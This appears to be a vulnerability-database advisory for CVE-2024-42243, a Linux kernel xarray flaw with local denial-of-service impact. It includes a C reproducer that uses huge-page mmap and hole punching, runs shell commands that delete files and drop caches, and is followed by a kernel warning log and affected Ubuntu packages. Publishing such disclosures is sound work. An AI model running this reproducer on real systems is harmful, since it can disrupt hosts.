CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
AI Score
Confidence
High
EPSS
Percentile
5.0%
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#define TEST_XFS_FILENAME “/tmp/data”
#define TEST_SHMEM_FILENAME “/dev/shm/data”
#define TEST_MEM_SIZE 0x20000000
int main(int argc, char **argv)
{
const char *filename;
int fd = 0;
void *buf = (void *)-1, p;
int pgsize = getpagesize();
int ret;
if (pgsize != 0x10000) {
fprintf(stderr, “64KB base page size is required\n”);
return -EPERM;
}
system(“echo force > /sys/kernel/mm/transparent_hugepage/shmem_enabled”);
system(“rm -fr /tmp/data”);
system(“rm -fr /dev/shm/data”);
system(“echo 1 > /proc/sys/vm/drop_caches”);
/ Open xfs or shmem file /
filename = TEST_XFS_FILENAME;
if (argc > 1 && !strcmp(argv[1], “shmem”))
filename = TEST_SHMEM_FILENAME;
fd = open(filename, O_CREAT | O_RDWR | O_TRUNC);
if (fd < 0) {
fprintf(stderr, “Unable to open <%s>\n”, filename);
return -EIO;
}
/ Extend file size /
ret = ftruncate(fd, TEST_MEM_SIZE);
if (ret) {
fprintf(stderr, “Error %d to ftruncate()\n”, ret);
goto cleanup;
}
/ Create VMA */
buf = mmap(NULL, TEST_MEM_SIZE,
PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (buf == (void )-1) {
fprintf(stderr, “Unable to mmap <%s>\n”, filename);
goto cleanup;
}
fprintf(stdout, “mapped buffer at 0x%p\n”, buf);
ret = madvise(buf, TEST_MEM_SIZE, MADV_HUGEPAGE);
if (ret) {
fprintf(stderr, “Unable to madvise(MADV_HUGEPAGE)\n”);
goto cleanup;
}
/ Populate VMA /
ret = madvise(buf, TEST_MEM_SIZE, MADV_POPULATE_WRITE);
if (ret) {
fprintf(stderr, “Error %d to madvise(MADV_POPULATE_WRITE)\n”, ret);
goto cleanup;
}
/ Punch the file to enforce xarray split */
ret = fallocate(fd, FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE,
TEST_MEM_SIZE - pgsize, pgsize);
if (ret)
fprintf(stderr, “Error %d to fallocate()\n”, ret);
cleanup:
if (buf != (void *)-1)
munmap(buf, TEST_MEM_SIZE);
if (fd > 0)
close(fd);
return 0;
}
KernelPageSize: 64 kB
:
------------[ cut here ]------------
WARNING: CPU: 17 PID: 5253 at lib/xarray.c:1025 xas_split_alloc+0xf8/0x128
Modules linked in: nft_fib_inet nft_fib_ipv4 nft_fib_ipv6 nft_fib
nft_reject_inet nf_reject_ipv4 nf_reject_ipv6 nft_reject nft_ct
nft_chain_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4
ip_set nf_tables rfkill nfnetlink vfat fat virtio_balloon
drm fuse xfs libcrc32c crct10dif_ce ghash_ce sha2_ce sha256_arm64
virtio_net sha1_ce net_failover failover virtio_console virtio_blk
dimlib virtio_mmio
CPU: 17 PID: 5253 Comm: test Kdump: loaded Tainted: G W 6.10.0-rc5-gavin+
#12
Hardware name: QEMU KVM Virtual Machine, BIOS edk2-20240524-1.el9
05/24/2024
pstate: 83400005 (Nzcv daif +PAN -UAO +TC
—truncated—
OS | Version | Architecture | Package | Version | Filename |
---|---|---|---|---|---|
ubuntu | 20.04 | noarch | linux | < any | UNKNOWN |
ubuntu | 22.04 | noarch | linux | < any | UNKNOWN |
ubuntu | 24.04 | noarch | linux | < any | UNKNOWN |
ubuntu | 20.04 | noarch | linux-aws | < any | UNKNOWN |
ubuntu | 22.04 | noarch | linux-aws | < any | UNKNOWN |
ubuntu | 24.04 | noarch | linux-aws | < any | UNKNOWN |
ubuntu | 20.04 | noarch | linux-aws-5.15 | < any | UNKNOWN |
ubuntu | 20.04 | noarch | linux-azure | < any | UNKNOWN |
ubuntu | 22.04 | noarch | linux-azure | < any | UNKNOWN |
ubuntu | 24.04 | noarch | linux-azure | < any | UNKNOWN |
git.kernel.org/linus/099d90642a711caae377f53309abfe27e8724a8b (6.10)
git.kernel.org/stable/c/099d90642a711caae377f53309abfe27e8724a8b
git.kernel.org/stable/c/333c5539a31f48828456aa9997ec2808f06a699a
git.kernel.org/stable/c/a0c42ddd0969fdc760a85e20e267776028a7ca4e
launchpad.net/bugs/cve/CVE-2024-42243
nvd.nist.gov/vuln/detail/CVE-2024-42243
security-tracker.debian.org/tracker/CVE-2024-42243
www.cve.org/CVERecord?id=CVE-2024-42243